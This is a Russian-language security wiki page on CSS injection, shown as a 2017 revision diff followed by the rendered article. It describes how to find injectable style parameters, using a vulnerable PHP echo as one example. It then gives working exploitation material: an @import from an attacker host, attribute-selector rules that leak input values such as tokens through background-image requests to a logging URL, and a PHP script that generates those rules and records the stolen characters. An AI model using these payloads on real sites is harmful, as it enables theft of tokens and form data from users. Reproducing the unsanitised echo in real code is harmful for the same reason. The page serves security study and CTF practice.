Cssi — различия между версиями

Материал из InformationSecurity WIKI
Перейти к: навигация, поиск
м
м
Строка 21: Строка 21:
 
<syntaxhighlight lang="php" line="1" style="overflow-x:scroll" > <span style="color: <?php echo $_GET['color']; ?>"> </syntaxhighlight>
 
<syntaxhighlight lang="php" line="1" style="overflow-x:scroll" > <span style="color: <?php echo $_GET['color']; ?>"> </syntaxhighlight>
  
 +
В данном случае изучение очень похоже на поиск XSS.
  
 
==Эксплуатация==
 
==Эксплуатация==
 +
 +
Работает не во всех браузерах.
 +
 +
Для удобства эксплуатации требуется подкачать свой css файлик с вредоносным кодом с помощью команды import (иначе может просто не хватить места):
 +
 +
<syntaxhighlight lang="css" line="1" style="overflow-x:scroll" >
 +
<style>
 +
@import "http://hackersite.org/exploit.css";
 +
</style>
 +
</syntaxhighlight>
 +
 +
Взаимодействовать возможно только со значениями названных полей (иначе мы не сможем обратиться к данным).
  
 
===Получение токенов===
 
===Получение токенов===
 +
 +
Получение токенов (например токенов CSS) или других важных данных возможно с помощью перебора.
 +
 +
 +
====Firefox====
 +
 +
В данном случае идет перебор параметра value поля input:
 +
 +
<syntaxhighlight lang="css" line="1" style="overflow-x:scroll" >
 +
input[value^=a]{ background-image:url(http://itsecwiki.org/log?a); }
 +
input[value^=b]{ background-image:url(http://itsecwiki.org/log?b); }
 +
input[value^=c]{ background-image:url(http://itsecwiki.org/log?c); }
 +
...
 +
input[value^=f]{ background-image:url(http://itsecwiki.org/log?f); } /* запрос прошел */
 +
...
 +
input[value^=z]{ background-image:url(http://itsecwiki.org/log?z); }
 +
input[value^=a]{ background-image:url(http://itsecwiki.org/log?z); }
 +
input[value^=ab]{ background-image:url(http://itsecwiki.org/log?z); }
 +
...
 +
input[value^=flag]{ background-image:url(http://itsecwiki.org/log?flag);/* запрос прошел */
 +
...
 +
</syntaxhighlight>
 +
 +
И в итоге на сервер придут запросы: log?f, log?fl, log?fla и log?flag.
 +
 +
Можно перебирать по одной букве.
 +
====Chrome====
 +
 +
====Автоматизация====
 +
 +
<?php
 +
 +
 +
<syntaxhighlight lang="php" line="1" style="overflow-x:scroll" >
 +
/* Использование
 +
 +
http://site/cssinj.php?form=input&
 +
                      param=value&
 +
                      siteid=1337&
 +
                      alph=abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_&
 +
                      word=fla
 +
 +
*/
 +
 +
$alph = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_';
 +
$word = '';
 +
$siteid = '1';
 +
 +
if (isset($_GET['siteid'])){
 +
$siteid = $_GET['siteid'];
 +
}
 +
 +
//Если атака прошла успешно
 +
if (isset($_GET['value'])){
 +
file_put_contents( 'cssi_result_' . $siteid . '.txt', $_GET['value'] . "\n", FILE_APPEND | LOCK_EX);
 +
exit();
 +
}
 +
 +
 +
function url(){
 +
return explode("?",sprintf(
 +
"%s://%s%s",
 +
isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] != 'off' ? 'https' : 'http',
 +
$_SERVER['SERVER_NAME'],
 +
$_SERVER['REQUEST_URI']
 +
))[0];
 +
}
 +
 +
 +
if (isset($_GET['alph'])){
 +
$alph = $_GET['alph'];
 +
}
 +
 +
if (isset($_GET['word'])){
 +
$word = $_GET['word'];
 +
}
 +
 +
 +
 +
$alph_chars = str_split($alph);
 +
 +
foreach ($alph_chars as &$value) {
 +
              echo $_GET['form'] .
 +
                              '[' .
 +
                  $_GET['param'] .
 +
                            '^=' .
 +
                                $word .
 +
                          $value .
 +
']{ background-image:url(' .
 +
                            url() .
 +
                      '?site_id=' .
 +
                          $siteid .
 +
                        '&value=' .
 +
                urlencode($value) .
 +
                "); }\n";
 +
}
 +
 +
?>
 +
</syntaxhighlight>
 +
 +
  
 
===CSS inj -> XSS===
 
===CSS inj -> XSS===

Версия 21:25, 22 июля 2017

CSS Injection - уязвимость, позволяющая запустить произвольный CSS код на стороне жертвы.

Поиск уязвимости

Загрузка из JS

HTML код страницы может редактироваться в зависимости от действий пользователя.

Например, цвет может быть помещен в hash URL'а (то, что после решетки) и с помощью JS перенесен в CSS:

1 document.getElementById("...").style.cssText = "color: " + location.hash.slice(1);

То есть все сводится к тому, что нужно изучить JS код страницы и найти параметры, которые может изменить пользователь.

Загрузка из backend'а

Данный способ отличается от предыдущего тем, что параметры вставляются в код страницы с помощью backend языка разработки.

Например:

1  <span style="color: <?php echo $_GET['color']; ?>">

В данном случае изучение очень похоже на поиск XSS.

Эксплуатация

Работает не во всех браузерах.

Для удобства эксплуатации требуется подкачать свой css файлик с вредоносным кодом с помощью команды import (иначе может просто не хватить места):

1 <style>
2 @import "http://hackersite.org/exploit.css"; 
3 </style>

Взаимодействовать возможно только со значениями названных полей (иначе мы не сможем обратиться к данным).

Получение токенов

Получение токенов (например токенов CSS) или других важных данных возможно с помощью перебора.


Firefox

В данном случае идет перебор параметра value поля input:

 1 input[value^=a]{ background-image:url(http://itsecwiki.org/log?a); }
 2 input[value^=b]{ background-image:url(http://itsecwiki.org/log?b); }
 3 input[value^=c]{ background-image:url(http://itsecwiki.org/log?c); }
 4 ...
 5 input[value^=f]{ background-image:url(http://itsecwiki.org/log?f); } /* запрос прошел */
 6 ...
 7 input[value^=z]{ background-image:url(http://itsecwiki.org/log?z); }
 8 input[value^=a]{ background-image:url(http://itsecwiki.org/log?z); }
 9 input[value^=ab]{ background-image:url(http://itsecwiki.org/log?z); }
10 ...
11 input[value^=flag]{ background-image:url(http://itsecwiki.org/log?flag);/* запрос прошел */
12 ...

И в итоге на сервер придут запросы: log?f, log?fl, log?fla и log?flag.

Можно перебирать по одной букве.

Chrome

Автоматизация

<?php


 1 /* Использование
 2 
 3 http://site/cssinj.php?form=input&
 4                       param=value&
 5                       siteid=1337&
 6                       alph=abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_&
 7                       word=fla
 8 
 9 */
10 
11 $alph = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_';
12 $word = '';
13 $siteid = '1';
14 
15 if (isset($_GET['siteid'])){
16 	$siteid = $_GET['siteid'];
17 }
18 
19 //Если атака прошла успешно
20 if (isset($_GET['value'])){
21 	file_put_contents( 'cssi_result_' . $siteid . '.txt', $_GET['value'] . "\n", FILE_APPEND | LOCK_EX);
22 	exit();
23 }
24 
25 
26 function url(){
27 		return explode("?",sprintf(
28 			"%s://%s%s",
29 			isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] != 'off' ? 'https' : 'http',
30 			$_SERVER['SERVER_NAME'],
31 			$_SERVER['REQUEST_URI']
32 		))[0];
33 }
34 
35 
36 if (isset($_GET['alph'])){
37 	$alph = $_GET['alph'];
38 }
39 
40 if (isset($_GET['word'])){
41 	$word = $_GET['word'];
42 }
43 
44 
45 
46 $alph_chars = str_split($alph);
47 
48 foreach ($alph_chars as &$value) {
49 	               echo $_GET['form'] . 
50 	                              '[' . 
51 	                   $_GET['param'] . 
52 	                             '^=' . 
53                                 $word .
54 	                           $value . 
55 	']{ background-image:url(' . 
56 	                            url() . 
57 	                      '?site_id=' . 
58 	                          $siteid . 
59 	                        '&value=' . 
60 	                urlencode($value) . 
61 	                "); }\n";
62 }
63 
64 ?>


CSS inj -> XSS

Примеры

Полезные ссылки

https://www.owasp.org/index.php/Testing_for_CSS_Injection_(OTG-CLIENT-005)

Заметка: добавить про чтение токенов и PRSSI